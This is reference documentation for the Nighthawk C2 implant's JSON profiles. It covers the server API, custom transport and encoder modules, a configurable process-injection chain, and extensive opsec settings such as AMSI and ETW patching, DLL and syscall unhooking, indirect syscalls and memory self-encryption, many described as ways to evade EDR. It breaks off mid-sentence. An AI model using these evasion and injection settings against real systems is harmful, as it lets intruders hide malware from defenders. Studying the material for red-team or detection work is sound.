Nighthawk Profiles
[toc]
Nighthawk is configured through the use of powerful JSON-based profiles. These profiles specify options pertaining to both the Nighthawk agents as well as the operations server and C2 endpoints. Profiles are deployed to the operations server using the command-line DeployTool.
Profiles are contained within a root element named c2-profile and are divided into several key sections including api (which contains the address of the operations server the profile will execute against), strategy (defining the C2 endpoint type to be deployed), server-config (which contains specific configuration data to be used by the server-side of the C2 endpoint), egress-config (which contains specific configuration data provided to the implant agent when in e mode), and p2p-config (which contains specific configuration data provided to the implant agent when in P2P mode).
c2-profile.api
Example:
"c2-profile": {
...
"api": {
"host": "127.0.0.1",
"port": 8888
},
...
The api section of the profile defines the IP address and port of the Nighthawk operations server. The API server implements operations used by the C2 server for a variety of processes including obtaining a list of commands for a given Nighthawk agent, obtaining command data, and reporting results back to the operations server.
c2-profile.strategy
Example
"c2-profile": {
...
"strategy": "http",
...
The strategy section of the profile defines the type of built-in C2 endpoint to be created by the Nighthawk server to implement the profile. The only strategy type supported at present is http (which supports both HTTP and HTTPS traffic).
If the strategies supported natively are insufficient for operational needs a custom strategy may be used which communicates directly with the Nighthawk operations server.
c2-profile.general-config
Example:
{
"c2-profile": {
...
"general-config": {
"settings": {
"interval": 10,
"jitter": 20,
"expire-after": 1640998861
},
"code-modules": {
"encoders": [],
"egress-transports": [],
"p2p-transports": []
},
"injector": {
"methods": {
"ProcessCreate": "CreateProcessWinApi",
"ProcessOpen": "OpenProcessNative",
"AllocMemory": "VirtualAllocNative",
"WriteMemory": "WriteProcMemNative",
"ProtectMemory": "VirtualProtectNative",
"ExecuteMemory": "CreateThreadNative"
},
"spawn-to": "c:\\windows\\system32\\rundll32.exe",
"parent-process": "explorer.exe"
},
"opsec": {
"loader-strategy": "syscalls",
"--backing-module": {"x64": "chakra.dll", "x86": "chakra.dll"},
"encrypt-heap-mode": "implant",
"hide-windows": false,
"loader-export": "ReflectiveLoader",
"ordinary-export": "CPlApplet",
"stomp-pe-header": true,
"thread-start-addresses": ["ntdll!RtlUserThreadStart"],
"masquerade-thread-stacks": true,
"self-encrypt-mode": "no-stub-timer",
"self-encrypt-after": 5,
"self-encrypt-while-listening": true,
"use-syscalls": true,
"indirect-syscalls": true,
"reapply-opsec-on-self-encrypt": true,
"unhook-dlls": ["kernel32.dll", "ntdll.dll", "kernelbase.dll", "winhttp.dll"],
"unhook-syscalls": true,
"unhook-using-wpm": true,
"unhook-via-native": true,
"disable-pi-callback": true,
"clear-veh-on-unhook": true,
"clear-veh-on-imp-res": true,
"clear-hwbp-on-unhook": true,
"clear-hwbp-on-imp-res": true,
"clear-dll-notifications": true,
"patch-etw-event": true,
"patch-etw-control": true,
"inproc-patch-amsi": true,
"inproc-patch-etw": true,
"inproc-restore-etw-control": true,
"stack-commit-size": 262144,
"use-threadpool": true,
"sleep-mode": "wait-single",
"block-dlls": ["amsi.dll"]
}
...
The general-config section of the profile defines configuration used by the Nighthawk agent for a variety of purposes. This includes information pertaining to implant behaviour such as operational security (opsec) choices, custom code modules used for data encoding, and custom code modules used to implement arbitrary (i.e. non-built-in) egress and P2P communications.
Each of these sub-sections is explained in detail as follows:
c2-profile.general-config.settings
interval
The interval value specifies the interval - in seconds - which should form the default Nighthawk agent sleep time.
When in egress mode the agent will sleep for this period of time before initially communicating outbound to the C2 server and will sleep this period of time between attempts to connect, or between attempts to check in and obtain commands using the configured C2 strategy.
In egress mode - if the c2-profile.general-config.opsec.self-encrypt setting is set to true and the interval value exceeds the value of the setting specified under c2-profile.general-config.opsec.self-encrypt-after - the agent will perform defensive self-encrypting behaviour between attempts to connect out to reduce the risk of being detected in memory.
When in P2P mode - if the c2-profile.general-config.opsec.self-encrypt-while-listening setting is set to true and the interval value exceeds the value of the setting specified under c2-profile.general-config.opsec.self-encrypt-after - the agent will perform defensive self-encrypting behaviours either between attempts to open a P2P listener endpoint (in the event that the listener cannot be opened) or while listening for new connections.
It is recommended that for P2P agents this value is not set to too large a value (e.g. not greater than 30 seconds) because a connection attempt made from an agent attempting to establish a P2P link to the open listener may time out before the period specified by the internal elapses and the P2P agent attempts to service inbound connections.
jitter
The jitter specifies a percentage value representing a maximum amount by which the interval should be randomly increased each time it is evaluated (either for the purposes of establishing outbound egress connections, querying the C2 for commands, or waking to service new P2P connections).
If a jitter value of 20 is specified alongside an interval of 10 seconds then the interval used will lie randomly between 10 and 12 seconds.
expire-after
The expire-after value specifies a Unix-time timestamp after which the agent will not execute. A value of 1640998861 for example specifies an agent expiration of Sat Jan 01 2022 01:01:01 GMT+0000.
c2-profile.general-config.code-modules
The code-modules sub-section houses bundled code modules used by the agent for a variety of purposes including data encoding (as can be employed by the Nighthawk built-in C2 strategies for the purposes of arbitrarily encoding request data), egress transport modules (used to implement custom C2 protocols for egress agents), and P2P transport modules (used to implement custom P2P protocols for communication between agents).
encoders
Example:
{
"c2-profile": {
...
"general-config": {
...
"code-modules" : {
"encoders": [
{
"type": "clr",
"version": "v4.0.30319",
"module-name": "MammaMia",
"functions": ["MammaMia.Text.EncodeAsItalian", "MammaMia.Text.DecodeFromItalian"],
"code": "TVqQAAMAAAAEAAAA..."
}
],
...
The encoders sub-section contains optional modules used to enhance the ability of the Nighthawk agent to encode data within its built-in C2 communications strategies. At present only the HTTP strategy is supported, and so these encoders are used only to encode elements within a malleable HTTP profile.
Each encoder is a JSON object containing a type (used to determine how the code for the encoder should be loaded), version (used to describe which version of the runtime should be loaded, if relevant), module-name (specifying the namespace under which the functions should be grouped), functions (which name the methods exposed by the encoder), and code (which provides the code to be loaded as a base64 encoded blob).
At present only “clr” modules written for the Microsoft .NET runtime are supported.
When implemented within the Nighthawk malleable HTTP profiles, encoders are interleaved with regular expressions to perform additional encoding and decoding on the captured data. For example:
{
"c2-profile": {
...
"egress-config": {
... "commands": {
"status": {},
...
"putresult": {
"build-request": {
...
"body": "<payload:MammaMia.Text.EncodeAsItalian>"
}
...
The above line - taken from the agent egress config - instructs the agent to use the specified encoder function to encode the payload. Further details on defining profiles and using encoders is described in a later section of this document.
egress-transports
Example:
{
"c2-profile": {
...
"general-config": {
...
"code-modules": {
...
"egress-transports": [
{
"type": "clr",
"version": "v4.0.30319",
"module-name": "demohttp",
"method-map": {
"Initialize": "DemoTransports.HttpDemo.Initialize",
"CheckConnectionStatus": "DemoTransports.HttpDemo.CheckConnectionStatus",
"GetCommandList": "DemoTransports.HttpDemo.GetCommandList",
"GetCommand": "DemoTransports.HttpDemo.GetCommand",
"PutResponse": "DemoTransports.HttpDemo.PutResponse"
},
"code": "TVqQAAMAAAAEAAAA..."
}
],
...
The egress-tranports sub-section contains optional modules used to provide the Nighthawk agent with support for custom C2 channels used for egress communications. Providing a module in this section enables the Nighthawk agent to utilise the five methods contained within method-map for all outbound C2 communications.
Each egress transport item is a JSON object containing a type (used to determine how the code for the encoder should be loaded), version (used to describe which version of the runtime should be loaded, if relevant), module-name (providing a unique name for the transport which is also used to locate the transport module based on egress agent URI located in the profile at c2-profile.egress-config.c2-uri), amethod-map dictionary (which provides the fully qualified names of the functions exposed by the module implementing the required egress actions), and code (which provides the code to be loaded as a base64 encoded blob).
At present only “clr” modules written for the Microsoft .NET runtime are supported.
An example of a .NET module implementing one of these methods follows by way of example:
namespace DemoTransports
{
public static class HttpDemo
{
static readonly HttpClient client = new HttpClient();
...
public static bool CheckConnectionStatus()
{
var resp = client.GetAsync($"http://{_uri.Host}:{_uri.Port}/status").GetAwaiter().GetResult();
if(resp.StatusCode != System.Net.HttpStatusCode.OK)
{
return false;
}
return true;
}
...
Further details on creating custom egress transport modules is described in a later section of this document.
p2p-transports
Example:
{
"c2-profile": {
...
"general-config": {
...
"code-modules": {
...
"p2p-transports": [
{
"type": "clr",
"version": "v4.0.30319",
"module-name": "pipelistener",
"method-map": {
"Initialize": "DemoListeners.NamedPipeDemo.Initialize",
"Connect": "DemoListeners.NamedPipeDemo.Connect",
"Listen": "DemoListeners.NamedPipeDemo.Listen",
"Accept": "DemoListeners.NamedPipeDemo.Accept",
"Send": "DemoListeners.NamedPipeDemo.Send",
"Receive": "DemoListeners.NamedPipeDemo.Receive",
"Close": "DemoListeners.NamedPipeDemo.Close"
},
"code": "TVqQAAMAAAAEAAAA..."
}
],
...
The p2p-tranports sub-section contains optional modules used to provide the Nighthawk agent with support for custom P2P channels used communication between agents. Providing a module in this section enables the Nighthawk agent to utilise the seven methods contained within method-map for all peer-to-peer communications.
Each P2P transport item is a JSON object containing a type (used to determine how the code for the encoder should be loaded), version (used to describe which version of the runtime should be loaded, if relevant), module-name (providing a unique name for the transport which is also used to locate the transport module based on P2P agent listener URI located in the profile at c2-profile.p2p-config.p2p-listener-uri or the URI provided to the Nighthawk link command), amethod-map dictionary (which provides the fully qualified names of the functions exposed by the module implementing the required egress actions), and code (which provides the code to be loaded as a base64 encoded blob).
At present only “clr” modules written for the Microsoft .NET runtime are supported.
An example of a .NET module implementing one of these methods follows by way of example:
namespace DemoListeners
{
static class NamedPipeDemo
{
...
public static bool Connect()
{
_client = new NamedPipeClientStream(".", _uri.Host, PipeDirection.InOut, PipeOptions.Asynchronous);
_client.Connect(10000);
_client.ReadMode = PipeTransmissionMode.Message;
return true;
}
...
Further details on creating custom P2P transport modules is described in a later section of this document.
c2-profile.general-config.injector
The injector profile sub-section provides configuration for the Nighthawk code injection capability. The code injection capability is used by the agent when performing reflective DLL or shellcode injection into new or existing processes.
The native versions of the code injection functions use syscalls if the c2-profile.general-config.opsec.use-syscalls profile option is set to true. In the x86 agent the native ntdll.dll exports are used, in combination with unhooking if ntdll.dll is included within the c2-profile.general-config.opsec.unhook-dlls list.
Example:
{
"c2-profile": {
...
"general-config": {
...
"injector": {
"methods": {
"ProcessCreate": "CreateProcessWinApi",
"ProcessOpen": "OpenProcessNative",
"AllocMemory": "VirtualAllocNative",
"WriteMemory": "WriteProcMemNative",
"ProtectMemory": "VirtualProtectNative",
"ThreadOpen": "CreateNewThreadNative",
"ExecuteMemory": "QueueAPCNative"
},
"spawn-to": "c:\\windows\\system32\\rundll32.exe",
"parent-process": "explorer.exe"
},
methods
The methods profile sub-section contains a series methods which specify each step of the process injection chain. These are detailed below.
ProcessCreate
This step specifies the injector function to be used to create a new process for injection. The only valid option at present is CreateProcessWinApi.
The CreateProcessWinApi option works by calling the Windows CreateProcess API with flags STARTUPINFOEXW | CREATE_NO_WINDOW | CREATE_SUSPENDED and passing a STARTUPINFOEX instance with flags STARTF_USESHOWWINDOW and wShowWindow = SW_HIDE to hide the new process window. The function also performs parent process ID spoofing if requested via the appropriate Nighthawk command.
ProcessOpen
This step specifies the injector function to be used when opening a process for injection. Valid options are:
OpenProcessWinapiOpenProcessNative
The OpenProcessWinapi option works either by receiving the ID of a process to open and opening the process using the Windows OpenProcess API requesting PROCESS_ALL_ACCESS, or - if provided a process name - by enumerating processes using the Windows CreateToolhelp32Snapshot API with flags TH32CS_SNAPPROCESS until the first instance of the named process is found and then by calling OpenProcess on the associated process ID as described.
The OpenProcessNative option works either by receiving the ID of a process to open and opening the process using the Windows native API NtOpenProcess requesting PROCESS_ALL_ACCESS or - if provided a process name - by enumerating processes using the Windows native API method NtGetNextProcess until the first instance of the named process is found and then by calling NtOpenProcess on the associated process ID as described.
AllocMemory
This step specifies the injector function to be used when allocating memory within a remote process, either created or opened. Valid options are:
VirtualAllocWinApiVirtualAllocNativeCreateSectionNative
The VirtualAllocWinApi option works by calling the Windows VirtualAlloc API requesting an allocation with PAGE_READWRITE page protection.
The VirtualAllocNativeoption works by calling the nativeNtAllocateVirtualMemory API requesting an allocation with PAGE_READWRITE page protection.
The CreateSectionNative option works by calling the native NtCreateSection API requesting creation of a new section with permissions SECTION_ALL_ACCESS and with page protection PAGE_EXECUTE_READWRITE. The section is then mapped into the remote process using the native NtMapViewOfSection API, requesting page protection PAGE_EXECUTE_READWRITE.
WriteMemory
This step specifies the injector function to be used when writing memory within a remote process, either created or opened. Valid options are:
WriteProcMemWinApiWriteProcMemNativeCreateAndMapSectionNative
The WriteProcMemWinApi option works by calling the Windows WriteProcessMemory API.
The WriteProcMemNative option works by calling the Windows NtWriteVirtualMemory API.
The CreateAndMapSectionNative option works by calling the native NtCreateSection API.
The CreateSectionNative option works by calling the native NtCreateSection API requesting creation of a new section with permissions SECTION_ALL_ACCESS and with page protection PAGE_EXECUTE_READWRITE. The section is then mapped into the local process using the native NtMapViewOfSection API, requesting page protection PAGE_READWRITE, and into the remote process requesting page protection PAGE_EXECUTE_READWRITE.
ProtectMemory
This step specifies the injector function to be used when changing the protections on memory within a remote process, either created or opened. Valid options are:
VirtualProtectWinApiVirtualProtectNative
The VirtualProtectWinApi option works by calling the Windows VirtualProtect API, changing the page protection to PAGE_EXECUTE_READ.
The VirtualProtectNative option works by calling the Windows NtProtectVirtualMemory API, changing the page protection to PAGE_EXECUTE_READ.
ThreadOpen
This step specifies the injector function to be used when opening a thread for which the context will be switched, or an APC queued, if required. Valid options are:
CreateNewThreadWinApiCreateNewThreadNativeGetRandomThreadWinApiGetRandomThreadNative
The CreateNewThreadWinApi option works by calling the Windows CreateThread API, initially creating a thread pointing to ntdll!RtlExitUserThread; the CreateNewThreadWinApi option works by calling the NtCreateThreadEx native API, initially creating a thread pointing to ntdll!RtlExitUserThread.
The GetRandomThreadWinApi option works by opening a random thread with a base address other than ntdll - the CreateToolhelp32Snapshot API is used to enumerate threads. The GetRandomThreadNative option works by opening a random hread with a base address other than ntdll - the NtGetNextThread native API method is used. In both cases the threads are opened with THREAD_ALL_ACCESS permissions.
The ThreadOpen step need not be specified if the CreateThreadWinApi or CreateThreadNative methods are used for the ExecuteMemory step.
ExecuteMemory
This step specifies the injector function to be used when scheduling a thread to execute memory within a remote process, either created or opened. Valid options are:
-
CreateThreadWinApi -
CreateThreadNative -
QueueAPCWinApi -
QueueAPCNative -
SetContextWinApi -
SetContextNative
The CreateThreadWinApi option works by calling the Windows CreateRemoteThreadEx API to schedule execution of the remote process memory.
The CreateThreadNative option works by calling the native NtCreateThreadEx API to schedule execution of the remote process memory..
The QueueAPCWinApi option works by calling the WindowsCreateRemoteThreadEx API to create a thread in a suspended state within the remote process, with the start address pointing to the native RtlExitUserThread API. The Windows QueueUserAPC API is then called to queue the execution of the remote process memory. The native NtAlertResumeThread is then used to trigger the execution of the APC within the remote thread.
The QueueAPCNative option works by calling the native NtCreateThreadEx API to create a thread in a suspended state within the remote process, with the start address pointing to the native RtlExitUserThread API. The native NtQueueApcThread API is then called to queue the execution of the remote process memory. The native NtAlertResumeThread is then used to trigger the execution of the APC within the remote thread.
The SetContextWinApi option uses the Windows GetThreadContext API to obtain the thread context, then uses the Windows SetThreadContext API to set the context to point at the remote process memory to be executed, and finally calls the Windows ResumeThread API to execute the remote memory.
The SetContextNative option uses the Windows NtGetContextThread API to obtain the thread context, then uses the Windows NtSetContextThread API to set the context to point at the remote process memory to be executed, and finally calls the Windows NtResumeThread API to execute the remote memory.
**Please note: ** injector works across architectures (x86 to x64, x64 to x86) when injecting shellcode. Only the *Native methods work across process architectures, and only shellcode injection is supported across different architectures. The ThreadOpen step GetRandomThreadNative is not implemented cross-architecture at present.
spawn-to
The spawn-to profile setting specifies the full path of the default process into which code injection should be performed when using the Nighthawk spawn-rdll or spawn-shellcode commands. This process will be created using the ProcessCreate step specified within the c2-profile.general-config.injector.methods step.
If this value is set to - for example - c:\\windows\\system32\\notepad.exe then a command such as spawn-rdll foo.dll ReflectiveLoader executed within the UI will create a new instance of notepad.exe and inject foo.dll as a reflective DLL beginning execution at the address specified by the ReflectiveLoader export.
parent-process
The parent-process profile setting specifies the name of the default process to use as the parent process for processes newly spawned through the use of the Nighthawk spawn-rdll or spawn-shellcode commands. The first running process instance with a matching name is used.
If this value is set to - for example - explorer.exe then new processes spawned by the agent will - by default - be child processes of explorer.exe.
Building an Injection Chain
The ability to specify each step in the process code injection chain enables custom chains to be built either for purposes of evasion or to test particular detections.
The ProcessCreate step is only used when injecting into a newly spawned process. The AllocateMemory and ProtectMemory steps can be omitted if the WriteMemory step chosen is CreateAndMapSectionNative as this step maps and protects a section within the remote process in one step. If a new process is created via the ProcessCreate step then the handle for the thread returned by the Windows CreateProcess API remote process is retained.
c2-profile.general-settings.opsec
Example:
{
"c2-profile": {
...
"general-config": {
...
"opsec": {
"loader-strategy": "syscalls",
"--backing-module": {"x64": "chakra.dll", "x86": "chakra.dll"},
"encrypt-heap-mode": "implant",
"hide-windows": false,
"loader-export": "ReflectiveLoader",
"ordinary-export": "CPlApplet",
"stomp-pe-header": true,
"thread-start-addresses": ["ntdll!RtlUserThreadStart"],
"masquerade-thread-stacks": true,
"self-encrypt-mode": "no-stub-timer",
"self-encrypt-after": 5,
"self-encrypt-while-listening": true,
"use-syscalls": true,
"indirect-syscalls": true,
"reapply-opsec-on-self-encrypt": true,
"unhook-dlls": ["kernel32.dll", "ntdll.dll", "kernelbase.dll", "winhttp.dll"],
"unhook-syscalls": true,
"unhook-using-wpm": true,
"unhook-via-native": true,
"disable-pi-callback": true,
"clear-veh-on-unhook": true,
"clear-veh-on-imp-res": true,
"clear-hwbp-on-unhook": true,
"clear-hwbp-on-imp-res": true,
"clear-dll-notifications": true,
"patch-etw-event": true,
"patch-etw-control": true,
"inproc-patch-amsi": true,
"inproc-patch-etw": true,
"inproc-restore-etw-control": true,
"stack-commit-size": 262144,
"use-threadpool": true,
"sleep-mode": "wait-single",
"block-dlls": ["amsi.dll"]
}
...
The opsec profile sub-section provides general configuration for the opsec aspect of the Nighthawk agent.
loader-strategy
This specifies how the Nighthawk reflective loader should operate. There are three modes:
winapi- this instructs the reflective loader to useVirtualAllocandVirtualProtectto map the reflective DLL;native- this instructs the reflective loader to use the lower levelNtAllocateVirtualMemoryandNtProtectVirtualMemoryto map the reflective DLL;syscalls- this instructs the reflective loader to use syscalls to map the reflective DLL.
Please note: The syscalls option does not currently support x86 beacons and is equivalent to native for this architecture.
When exporting Nighthawk compressed shellcode (as opposed to uncompressed shellcode) the Windows APIs VirtualAlloc and VirtualProtect are used to allocate a buffer into which the reflective DLL will be decompressed. To retain maximum opsec the syscalls strategy should be combined with the uncompressed shellcode export which does not require any pre-allocation of memory.
stomp-pe-header
This setting controls whether or not the PE header is overwritten within the agent when running as a reflective DLL. If set to true and the reflective DLL has not been migrated into the memory space of a legitimate DLL via the presence of the backing-module setting, then the executable file DOS stub, PE signature, and section names are overwritten in memory once the implant loads.
use-syscalls
This setting instructs the agent to enumerate and use syscalls whenever a Windows native API method is invoked, rather than calling the native API export in ntdll.dll.
The syscall stubs are generated and stored within the agent reflective DLL in memory, and are hidden during self-encryption.
indirect-syscalls
This setting modifies the use-syscalls feature to execute the syscall instruction via a random gadget found within ntdll.dll rather than directly from implant memory.
The purpose of this is to evade EDR which determine whether or not the syscall was executed from code within the ntdll.dll module (this is typically the only code module within a process which should execute syscall instructions).
backing-module
The backing-module setting - if present - instructs the agent to migrate its reflective DLL into memory space of another legitimate DLL. Different DLLs can be specified for the x64 and x86 agents.
This capability works by loading a new DLL using the Windows LoadLibraryEx API with the setting DONT_RESOLVE_DLL_REFERENCES to prevent execution of DllMain. The DLL is then hollowed and the agent reflective DLL is mapped into the associated memory. The original reflective DLL is then erased from memory.
If Control Flow Guard is enabled then the region is marked as valid to prevent security exceptions. The stomp-pe-header setting is not applied if a backing module is specified.
The purpose of this is to prevent the creation of executable virtual memory segments within the target process.
disable-pi-callback
This setting - if set to true - instructs the agent to clear the ProcessInstrumentationCallback if configured within the process. This callback can be used to intercept within user-space syscalls made by the agent. EDR may employ this technique to determine whether direct syscalls are made by the agent.
Disabling the ProcessInstrumentationCallback is performed using syscalls if use-syscalls is set to true and is performed before unhooking.
unhook-syscalls
This setting - if set to true - instructs the agent to attempt to unhook any hooked syscall API within ntdll.dll by enumerating which syscalls appear to be hooked and replacing those that are with correct syscall stubs, enabling the Nt*() API to be called safely. Syscall stubs are calculated dynamically without touching disk, KnownDLLs or otherwise.
This can be useful when combined with unhook-dlls as it may help reduce the likelihood of the attempt to read the associated DLL from disk during the unhook process. This takes effect before DLL unhooking.
unhooks-dlls
The unhook-dlls setting specifies a list of DLLs to be unhooked by the agent during initialisation. Unhooking involves loading the associated library if not yet loaded and replacing the .text section with a clean version from the same module loaded from disk, and then updating all code relocations as required.
Code is only replaced if the original code was modified (indicating that it was previously hooked); this is done on a page-by-page basis.
The purpose of this is to remove hooks placed within the specified DLLs which may be employed by EDR software to monitor program behaviour.
unhook-using-wpm
This setting - if set to true - instructs the agent to use the Windows API WriteProcessMemory to write unhooked bytes, rather than VirtualProtect/memcpy. This may help evade certain EDR which intercept calls to VirtualProtect and related functions.
unhook-via-native
If set to true this setting will use only native API to perform DLL unhooking. This unhooking process respects the use-syscalls setting, and the indirect-syscalls setting - enabling syscall based unhooking of loaded modules. If set to false then Windows API methods are used to perform unhooking. There is a reasonable chance these methods may be hooked by EDR.
reapply-opsec-on-self-encrypt
This setting - if set to true - instructs the agent to re-apply certain opsec settings before both self-encryption takes place, and immediately upon waking from self-encryption. If this setting is set to false then unhooking behaviours only execute once upon agent initialisation.
The unhook behaviours which are executed one each self-encrypt cycle are:
- Disabling of the ProcessInstrumentationCallback
- Unhooking of Syscalls
- Unhooking of the DLLs listed in
unhook-dlls - Removal before sleep/restoration after sleep of ETW patches
- Removal before sleep/restoration of the
LoadLibraryExWhook used ifblock-dllsare specified
These behaviours are only performed if the corresponding profile settings enable them. The purpose of this is to help defeat EDR which periodically reinstall hooks etc. within the agent process; this may help the agent continue to operate with a reduced risk of being detected.
hide-windows
This setting - if set to true - will hide all interactive windows belonging to the process out of which the agent is operating. This is primarily used to prevent the agent from visibly freezing process windows when heap-encryption-mode is set to process.
loader-export
The loader-export setting specifies the name of the reflective DLL loader export to be used when the Nighthawk server generates a reflective DLL payload.
ordinary-export
The ordinary-export setting specifies the name of the DLL loader export to be used when the Nighthawk server generates an ordinary (rundll32 compatible) DLL payload.
The definition of this export is void WINAPI ExportName();.
self-encrypt-mode
If the self-encrypt-mode setting is set to something other than off and the sleep interval configured for the agent exceeds the self-encrypt-after value then at sleep time the agent will suspend all agent threads, mark the agent memory page protection as read/write and encrypt its DLL/EXE in memory.
There are at present four strategies which can be specified:
off- no self encryption occurs.stub- a small executable shellcode stub is used to encrypt and decrypt the agent reflective DLL; this approach leaves a small fragment of code in memory which may pose an IoC.no-stub-rop- a ROP program is used to encrypt and decrypt the agent reflective DLL; this leaves no trace of executable memory created by the agent but creates a thread with a stack which does not unwind correctly.no-stub-timer- a series of Windows threadpool timer callbacks are used to encrypt and decrypt the reflective DLL; this setting is the most opsec setting as no remnants of executable code or threads with invalid unwinds exist when encrypted. This setting is not supported for x86 implants at present and instead falls back tono-stub-rop
The following tasks prevent self-encryption from occurring even if the sleep period exceeds the self-encrypt-after value:
- Cobalt Strike BOF execution
- In-process .NET assembly execution
- Keylogging
- Linking a P2P agent
- Waiting for and reading a named pipe used for out-of-process .NET assembly execution
- Waiting for console output from an externally executed program using
shell/exec, orrunas/shellas
This is because all of the above tasks require a worker thread to service these operations in real-time and blocking this thread would block the associated operation.
If the reapply-opsec-on-self-encrypt is configured then the opsec settings detailed under this element of the profile are reapplied both before self-encryption occurs and upon implant waking/decryption.
self-encrypt-after
This setting specifies the minimum interval (aka sleep period) that must be actively configured within the agent for self-encryption behaviour to be performed; if the sleep interval configured on an agent exceeds this value then self-encryption will be performed while the agent sleeps.
For example, if an agent is configured with a profile c2-profile.general-config.settings.interval value of 10 seconds and the self-encrypt-after setting is configured to 5 seconds, then the agent will self-encrypt immediately once executed.
If the Nighthawk operator then sets the sleep value for the agent to under 5 seconds then self-encryption will not be performed at all until the sleep value is increased to 5 seconds or more.
This value should not be set too low as self-encryption is time consuming (somewhere in the region of 500 - 1000 milliseconds) and expensive in terms of CPU resources and so is best left for longer periods of inactivity (for example, greater than 5 seconds).
self-encrypt-while-listening
The self-encrypt-while-listening setting provides the agent with the ability to self-encrypt whilst in P2P mode and waiting for incoming connections. This setting will take effect if the conditions required self-encryption are met (that is - self-encrypt is set to true and the configured c2-profile.general-config.settings.interval value exceeds the value of the self-encrypt-after value).
The agent will self-encrypt for the period of time specified by the interval and jitter mentioned, and will then wake to service incoming P2P connections, before once again suspending threads and self-encrypting.
As the protocols used for P2P may be subject to time out if a P2P connection is not established within a reasonable amount of time it is recommended that the interval is not set to too large a value when this setting is enabled. A reasonable interval may be 30 seconds.
masquerade-thread-stacks
If enabled this setting results in the agent thread contexts and TIBs being overwritten at during self-encryption with values taken from legitimate process threads.
The purpose of this is to make stack traces taken from these threads appear to be legitimate.
thread-start-addresses
This setting provides a list of DLL exports written in the form dll_name!export_name which will be used to spoof thread start addresses whenever the agent creates a new thread. For example if the string “ntdll!RtlExitUserThread” is specified then the thread start address will resolve to the native RtlExitUserThread API address in memory.
The purpose of this is to make threads created by the agent appear to originate from valid DLLs rather than the virtual memory hosting the reflective DLL. This will also bypass Get-InjectedThread.
encrypt-heap-mode
This setting controls whether the agent will attempt to encrypt its own heap memory during sleep.
This setting can take one of several values:
offimplantprocess
off
If set to off this setting provides no heap memory encryption. Heap allocations made by the agent are still zeroed on free.
implant
If set to implant then the agent attempts to track all allocations made by calling custom allocator functions when reserving memory for most purposes. This includes specifically strings created by the implant at runtime.
At sleep during self-encryption the agent will encrypt each live allocation to prevent discovery by memory scanners. Once memory is freed it is also wiped by filling with zeroes.
This approach is effective in capturing most data allocated by the agent, however it fails to capture allocations made by API called by the agent; for example - when the agent calls API within thewinhttp module. This can result in copies of implant data floating around in memory.
The implant setting does not require other process threads to be frozen during self-encryption.
process
If set to process then the agent installs hooks within the Windows heap API to track all allocations made by agent threads. The agent also uses the custom allocators detailed under the implant setting, but is able to capture allocations made internally by Windows API too.
At sleep during self-encryption the agent will encrypt each live allocation to prevent discovery by memory scanners. Once memory is freed it is also wiped by filling with zeroes.
The downside to using the process value is that due to the invasive nature of the hooks other process threads are suspended during self-encryption. This means that if operating from within a process with a UI that is displayed on the user desktop, the process will freeze during sleep.
To help counter this issue it is possible to configure the c2-profile.general-settings.opsec.hide-windows setting to force the agent to hide all visible windows for the process it has been injected into.
Please note: this setting can make processes unstable and that it is strongly recommended that tests are run in a lab on a per-profile configuration/per-process basis when operating with full heap encryption.
clear-veh-on-unhook
If set to true this setting instructs the agent to replace any top-level vectored exception handler with one which returns EXCEPTION_CONTINUE_EXECUTION. This is only performed when applying the following opsec processes:
- Disabling of the ProcessInstrumentationCallback
- Unhooking of Syscalls
- Unhooking of the DLLs listed in
unhook-dlls - Removal and restoration of ETW patches
The purpose of this setting is to help defeat mechanisms such as guard pages paired with vectored exception handlers which may be triggered during the process of unhooking.
clear-veh-on-imp-res
If set to true this setting instructs the agent to replace any top-level vectored exception handler with one which returns EXCEPTION_CONTINUE_EXECUTION. This occurs during the resolution of dynamic imports by the agent which is performed by walking the process loaded modules list and searching associated module exports for the desired function by name.
The purpose of this setting is to help defeat mechanisms such as guard pages paired with vectored exception handlers which may be triggered during the process of processing module exports.
clear-hwbp-on-unhook
If set to true this setting instructs the agent to clear hardware breakpoints which may be configured. This is only performed when applying the following opsec processes:
- Disabling of the ProcessInstrumentationCallback
- Unhooking of Syscalls
- Unhooking of the DLLs listed in
unhook-dlls - Removal and restoration of ETW patches
The purpose of this setting is to help defeat hardware breakpoints which may be used to intercept the process of unhooking.
clear-hwbp-on-imp-res
If set to true this setting instructs the agent to clear hardware breakpoints which may be configured. his occurs during the resolution of dynamic imports by the agent which is performed by walking the process loaded modules list and searching associated module exports for the desired function by name.
The purpose of this setting is to help defeat hardware breakpoints which may be triggered during the process of processing module exports.
patch-etw-event
If set to true the implant will patch the Windows native API method NtTraceEvent to circumvent ETW; this will help reduce the propagation of event tracing data to drivers which may be installed by EDR.
If the reapply-opsec-on-self-encrypt setting is set to true then the patch will be removed before the agent goes to sleep and will be re-applied on wake.
patch-etw-control
If set to true the implant will patch the Windows native API method NtTraceControl to circumvent ETW; this will help reduce the propagation of event tracing data to drivers which may be installed by EDR.
If the reapply-opsec-on-self-encrypt setting is set to true then the patch will be removed before the agent goes to sleep and will be re-applied on wake.
This setting is known to interfere with some .NET assemblies during in-process execution, and can be selectively disabled via the inproc-restore-etw-control setting.
inproc-patch-amsi
If set to true the implant will patch the AMSI function AmsiScanBuffer before performing in-process .NET assembly execution. This will help to prevent anti-virus or EDR software from scanning loaded .NET assemblies for malicious functionality. The patch is removed after assembly execution.
inproc-patch-etw
If set to true the implant will patch the ETW function EtwEventWrite before performing in-process .NET assembly execution. This will help to prevent EDR and threat hunting software from receiving information on loaded .NET modules. The patch is removed after assembly execution.
inproc-restore-etw-control
The patch-etw-control setting is known to interfere with some .NET assemblies during in-process execution due to their internal reliance on ETW. If this setting is set to true then any patches to NtTraceControl are restored before .NET assembly execution in process. The restored patch is re-applied after execution, depending on the original setting.
stack-commit-size
This value provides a default stack commit size for threads created by the Nighthawk agent. This value should be configured to something large (i.e. > 128kb) if the encrypt-heap-mode is set to process as occasionally process heap encryption can interfere with stack expansion. The value specified is randomly increased by up to 64kb to avoid fingerprinting the stack region based on size.
Please note: this setting does not apply to ThreadPool threads where the stack size is pre-determined by the operating system.
use-threadpool
This value specifies whether the Nighthawk agent should use the Windows threadpool API for all thread creation. This can help to evade EDR which implement kernel-side thread creation callbacks as these may expose the agent in memory when operating from virtual memory (i.e. as a reflective DLL or as shellcode).
sleep-mode
This setting controls how the agent will sleep when at rest. Frequently implants pause execution using the Windows API Sleep function; this internally calls NtDelayExecution. Certain threat-hunting tools detect threads suspended in this fashion and flag them as potentially worth investigating, as it is not common for process threads to sleep for long periods of time ordinarily.
This setting can take one of several values:
